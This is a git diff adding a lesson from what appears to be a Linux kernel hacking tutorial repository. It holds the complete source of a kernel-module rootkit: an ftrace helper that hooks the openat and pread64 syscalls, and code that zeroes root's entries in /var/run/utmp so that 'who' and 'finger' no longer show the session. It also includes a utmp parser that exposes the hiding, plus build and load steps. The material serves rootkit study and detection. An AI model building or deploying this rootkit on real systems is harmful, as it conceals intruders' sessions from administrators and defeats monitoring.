diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/Makefile b/3_RootkitTechniques/3.9_hiding_logged_in_users/Makefile new file mode 100644 index 0000000..fdc0b97 --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/Makefile @@ -0,0 +1,9 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + gcc -o enum_utmp enum_utmp.c + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + rm enum_utmp diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/README.md b/3_RootkitTechniques/3.9_hiding_logged_in_users/README.md new file mode 100644 index 0000000..c9c58cb --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/README.md @@ -0,0 +1,23 @@ +# Linux Kernel Hacking + +## 3.9: Hiding Logged On Users + +> A blog post detailing this module in more detail will be coming (hopefully) in a few weeks + +In order to discover active user sessions, *most* userspace programs read the contents of `/var/run/utmp` (if you know of a program that does it another way, please let me know!). This is a binary file filled with `utmp` structs (see `man utmp`, or [`utmp.h`](./utmp.h)). By parsing this file, we can hide entries from userspace for which the `ut_user` field matches a pre-set value (in this case, `root`, but could be anything). + +This works by hooking `sys_openat()` and checking each attempt to open a file for `/var/run/utmp`. If we get a match, we save the file descriptor in a global variable (`tamper_fd`). We also hook `sys_pread64()`, which is the syscall used by programs like `who` and `finger` to read the contents of binary files (like `/var/run/utmp`). In this hook, we wait for a file descriptor match with `tamper_fd`, and then check the `ut_user` field of each struct that gets read. If we find a match, then we fill the entry with `0x0` (in memory, the actual file on disk is never touched!). When the userspace program gets this empty buffer, it simply skips it and moves on the next one. + +Also included in this directory is a program called `enum_utmp`. This program will read, parse and print the contents of `/var/run/utmp` more verbosely than `who` or `finger` will. In particular, it reads the entire contents of `/var/run/utmp` all at once, rather than line-by-line (which would be the "normal" way to do it). This means that we can loop through the entries ourselves manually and discover that `root` really is logged in, even when `who` and `finger` tell us it isn't. + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* In another terminal, spawn a root shell via `sudo screen -S root_login` +* Back in the non-root user's terminal, run `who` or `finger` and confirm that `root` does NOT appear in the list +* Unload the module with `rmmod rootkit` +* Run `who` or `finger` again and observe that `root` now shows up! + +![hiding users](./hiding_logged_in_users.png) + +(In the above screenshot, I have `sudo screen -S root_login` running in a separate window) diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/enum_utmp.c b/3_RootkitTechniques/3.9_hiding_logged_in_users/enum_utmp.c new file mode 100644 index 0000000..8a6f279 --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/enum_utmp.c @@ -0,0 +1,179 @@ +#include +#include +#include + +#define UTMP_SIZE 384 +#define BUFSIZE (UTMP_SIZE * 32) + +int main(void) +{ + int print_info(struct utmp *buf, int entry); + int get_cmdline(pid_t pid, char *buf); + + FILE *fp; + struct utmp *buf; + + /* + * Open /var/run/utmp and check for errors + */ + fp = fopen("/var/run/utmp", "r"); + if(fp < 0) + return -1; + + /* + * Allocate ourselves a buffer to copy the contents of /var/run/utmp into + */ + buf = malloc(BUFSIZE); + if(!buf) + return -1; + + /* + * Copy the contents of /var/run/utmp into our buffer + */ + fread((void *)buf, sizeof(struct utmp), BUFSIZE / sizeof(struct utmp), fp); + + /* + * Loop over each UTMP_SIZE'th chunk of the buffer, calling print_info on each entry + */ + for ( int entry = 0 ; (entry * sizeof(struct utmp)) < BUFSIZE ; entry++ ) + { + print_info(buf, entry); + } + + /* + * Clean up and return + */ + free(buf); + fclose(fp); + return 0; +} + +/* + * print_info() takes a buffer of utmp structures, and an entry offset + * to which structure we want. It then neatly prints out some of the + * entries within the struct. + */ +int print_info( struct utmp *buf, int entry ) +{ + int get_cmdline(pid_t pid, char *buf); + + /* + * Jump ahead to the entry we want + */ + buf += entry; + + /* + * If ut_type is EMPTY, then the entry tells us nothing, so don't bother + */ + if(buf->ut_type == EMPTY) + return 0; + + printf("[Entry %d]\n", entry); + /* + * ut_type tells us what kind of record this entry is + * EMPTY: contains nothing of interest + * RUN_LVL: change in runlevel + * BOOT_TIME: stores time the system botted (ut_tv) + * NEW_TIME: stores time the sysclock changed (ut_tv) + * OLD_TIME: stores time before sysclock changed (ut_tv) + * INIT_PROCESS: process information about init (PID 1) + * LOGIN_PROCESS: process information about a login session + * USER_PROCESS: process information about a "normal" process + * DEAD_PROCESS: process was terminated + */ + printf(" ut_type = "); + switch(buf->ut_type) + { + case EMPTY: + printf("EMPTY\n"); + break; + + case RUN_LVL: + printf("RUN_LVL\n"); + break; + + case BOOT_TIME: + printf("BOOT_TIME\n"); + break; + + case NEW_TIME: + printf("NEW_TIME\n"); + break; + + case OLD_TIME: + printf("OLD_TIME\n"); + break; + + case INIT_PROCESS: + printf("INIT_PROCESS\n"); + break; + + case LOGIN_PROCESS: + printf("LOGIN_PROCESS\n"); + break; + + case USER_PROCESS: + printf("USER_PROCESS\n"); + break; + + case DEAD_PROCESS: + printf("DEAD_PROCESS\n"); + break; + } + + /* + * ut_pid is the PID of the process associated with the logon + * To get the name of the process, we call get_cmdline() + */ + printf(" ut_pid = %d", buf->ut_pid); + char *cmdline = malloc(1024); + if (cmdline != NULL) + { + get_cmdline(buf->ut_pid, cmdline); + printf(" - \"%s\"\n", cmdline); + free(cmdline); + } + else + printf("\n"); + + /* + * u_line is the name of the TTY under /dev + */ + printf(" ut_line = %s\n", buf->ut_line); + + /* + * ut_user is the name of the user associated to the logon + */ + printf(" ut_user = %s\n", buf->ut_user); + + printf("\n"); + + return 0; +} + +/* + * get_cmdline() opens up /proc//cmdline and copies the contents into a buffer + */ +int get_cmdline(pid_t pid, char *cmdline) +{ + FILE *fp; + char filename[255], contents[1024]; + + /* + * Form the correct pathname + */ + sprintf(filename, "/proc/%d/cmdline", pid); + + fp = fopen(filename, "r"); + if(fp != NULL) + { + /* + * Copy from the file descriptor into contents, and then from contents into + * cmdline (which is passed as an argument). + */ + fgets(contents, 1024, fp); + sprintf(cmdline, "%s", contents); + } + + return 0; +} diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h new file mode 100644 index 0000000..1624ce4 --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/hiding_logged_in_users.png b/3_RootkitTechniques/3.9_hiding_logged_in_users/hiding_logged_in_users.png new file mode 100644 index 0000000..84808fb --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/hiding_logged_in_users.png Binary files differ diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c new file mode 100644 index 0000000..f2148f6 --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c @@ -0,0 +1,324 @@ +#include +#include +#include +#include +#include +#include + +#include "utmp.h" +#include "ftrace_helper.h" + +#define HIDDEN_USER "root" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Hiding logged in users"); +MODULE_VERSION("0.01"); + +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familiar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* + * This will store the file descriptor that we are going to tamper pread64()'s to + */ +int tamper_fd; + +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_openat)(const struct pt_regs *); +static asmlinkage long (*orig_pread64)(const struct pt_regs *); + +/* + * The hook for sys_openat() + * We have to check which filename is being opened. If it matches "/var/run/utmp", + * then we store the file descriptor (return value) in tamper_fd for later. + */ +asmlinkage int hook_openat(const struct pt_regs *regs) +{ + //int dfd = regs->di; + char *filename = (char *)regs->si; + //int flags = regs->dx; + //umode_t mode = regs->r10; + + char *kbuf; + long error; + char *target = "/var/run/utmp"; + int target_len = 14; + + /* + * We need a buffer to copy filename into + */ + kbuf = kzalloc(NAME_MAX, GFP_KERNEL); + if(kbuf == NULL) + return orig_openat(regs); + + /* + * Copy filename from userspace into our kernel buffer + */ + error = copy_from_user(kbuf, filename, NAME_MAX); + if(error) + return orig_openat(regs); + + /* + * Compare filename to "/var/run/utmp" + */ + if( memcmp(kbuf, target, target_len) == 0 ) + { + /* + * Save the file descriptor in tamper_fd, clean up and return + */ + tamper_fd = orig_openat(regs); + kfree(kbuf); + return tamper_fd; + } + + /* + * Clean up and return + */ + kfree(kbuf); + return orig_openat(regs); +} + +/* + * The hook for sys_pread64() + * First, we check if the file descriptor is the one stored in tamper_fd. + * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, + * and check if the ut_user entry of the utmp struct is the user we want to hide. + * Finally, if it matches, then we will the buffer with 0x0 before copying it back + * to userspace and returning. + */ +asmlinkage int hook_pread64(const struct pt_regs *regs) +{ + int fd = regs->di; + char *buf = (char *)regs->si; + size_t count = regs->dx; + //loff_t pos = regs->r10; + + char *kbuf; + struct utmp *utmp_buf; + long error; + int i, ret; + + /* + * Check that we're supposed to be tampering with this fd + * Better also be sure that tamper_fd isn't 0,1, or 2! + */ + if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) + { + /* + * Allocate a kernel buffer, and check it worked + */ + kbuf = kzalloc(count, GFP_KERNEL); + if (kbuf == NULL) + return orig_pread64(regs); + + /* + * Do the real syscall, so that buf gets filled for us + */ + ret = orig_pread64(regs); + + /* + * Copy buf into kbuf so we can look at it + * If it fails, just return without doing anything + */ + error = copy_from_user(kbuf, buf, count); + if(error != 0) + return ret; + + /* + * Check if ut_user is the user we want to hide + */ + utmp_buf = (struct utmp *)kbuf; + if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) + { + /* + * Overwrite kbuf with 0x0 + */ + for ( i = 0 ; i < count ; i++ ) + kbuf[i] = 0x0; + + /* + * Copy kbuf back to buf in userspace + * If it fails, there's nothing we can do, so just clean up and return + */ + error = copy_to_user(buf, kbuf, count); + + kfree(kbuf); + return ret; + } + + /* + * We intercepted a read to /var/run/utmp, but didn't find the user + * we want to hide, so clean up and return + */ + kfree(kbuf); + return ret; + } + + /* + * This isn't a read to /var/run/utmp, so just return + */ + return orig_pread64(regs); +} +#else +/* This is the old way of declaring a syscall hook */ +static asmlinkage long (*orig_openat)(int dfd, const char __user *filename, int flags, umode_t mode); +static asmlinkage long (*orig_pread64)(int fd, const __user *buf, size_t count, loff_t pos); + +/* + * The hook for sys_openat() + * We have to check which filename is being opened. If it matches "/var/run/utmp", + * then we store the file descriptor (return value) in tamper_fd for later. + */ +static asmlinkage int hook_openat(int dfd, const char __user *filename, int flags, umode_t mode) +{ + char *kbuf; + long error; + char *target = "/var/run/utmp"; + int target_len = 14; + + /* + * We need a buffer to copy filename into + */ + kbuf = kzalloc(NAME_MAX, GFP_KERNEL); + if(kbuf == NULL) + return orig_openat(regs); + + /* + * Copy filename from userspace into our kernel buffer + */ + error = copy_from_user(kbuf, filename, NAME_MAX); + if(error) + return orig_openat(regs); + + /* + * Compare filename to "/var/run/utmp" + */ + if( memcmp(kbuf, target, target_len) == 0 ) + { + /* + * Save the file descriptor in tamper_fd, clean up and return + */ + tamper_fd = orig_openat(regs); + kfree(kbuf); + return tamper_fd; + } + + /* + * Clean up and return + */ + kfree(kbuf); + return orig_openat(regs); +} + +/* + * The hook for sys_pread64() + * First, we check if the file descriptor is the one stored in tamper_fd. + * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, + * and check if the ut_user entry of the utmp struct is the user we want to hide. + * Finally, if it matches, then we will the buffer with 0x0 before copying it back + * to userspace and returning. + */ +static asmlinkage int hook_pread64(int fd, const __user *buf, size_t count, loff_t pos) +{ + char *kbuf; + struct utmp *utmp_buf; + long error; + int i, ret; + + /* + * Check that we're supposed to be tampering with this fd + * Better also be sure that tamper_fd isn't 0,1, or 2! + */ + if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) + { + /* + * Allocate a kernel buffer, and check it worked + */ + kbuf = kzalloc(count, GFP_KERNEL); + if (kbuf == NULL) + return orig_pread64(regs); + + /* + * Do the real syscall, so that buf gets filled for us + */ + ret = orig_pread64(regs); + + /* + * Copy buf into kbuf so we can look at it + * If it fails, just return without doing anything + */ + error = copy_from_user(kbuf, buf, count); + if(error != 0) + return ret; + + /* + * Check if ut_user is the user we want to hide + */ + utmp_buf = (struct utmp *)kbuf; + if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) + { + /* + * Overwrite kbuf with 0x0 + */ + for ( i = 0 ; i < count ; i++ ) + kbuf[i] = 0x0; + + /* + * Copy kbuf back to buf in userspace + * If it fails, there's nothing we can do, so just clean up and return + */ + error = copy_to_user(buf, kbuf, count); + + kfree(kbuf); + return ret; + } + + /* + * We intercepted a read to /var/run/utmp, but didn't find the user + * we want to hide, so clean up and return + */ + kfree(kbuf); + return ret; + } + + /* + * This isn't a read to /var/run/utmp, so just return + */ + return orig_pread64(regs); +} +#endif + +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_openat", hook_openat, &orig_openat), + HOOK("sys_pread64", hook_pread64, &orig_pread64), +}; + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit); diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h new file mode 100644 index 0000000..828c613 --- /dev/null +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h @@ -0,0 +1,48 @@ +/* + * See "man utmp" + */ + +#define EMPTY 0 +#define RUN_LVL 1 +#define BOOT_TIME 2 +#define NEW_TIME 3 +#define OLD_TIME 4 +#define INIT_PROCESS 5 +#define LOGIN_PROCESS 6 +#define USER_PROCESS 7 +#define DEAD_PROCESS 8 +#define ACCCOUNTING 9 + +#define UT_LINESIZE 32 +#define UT_NAMESIZE 32 +#define UT_HOSTSIZE 256 + +struct exit_status { + short int e_termination; + short int e_exit; +}; + +struct utmp { + short ut_type; + pid_t ut_pid; + char ut_line[UT_LINESIZE]; + char ut_id[4]; + char ut_user[UT_NAMESIZE]; + char ut_host[UT_HOSTSIZE]; + struct exit_status ut_exit; + +#if defined __WORDSIZE_COMPAT32 + int32_t ut_session; + struct { + int32_t tv_sec; + int32_t tv_usec; + } ut_tv; +#else + long ut_session; + struct timeval ut_tv; +#endif + + int32_t ut_addr_v6[4]; + char __unused[20]; +}; +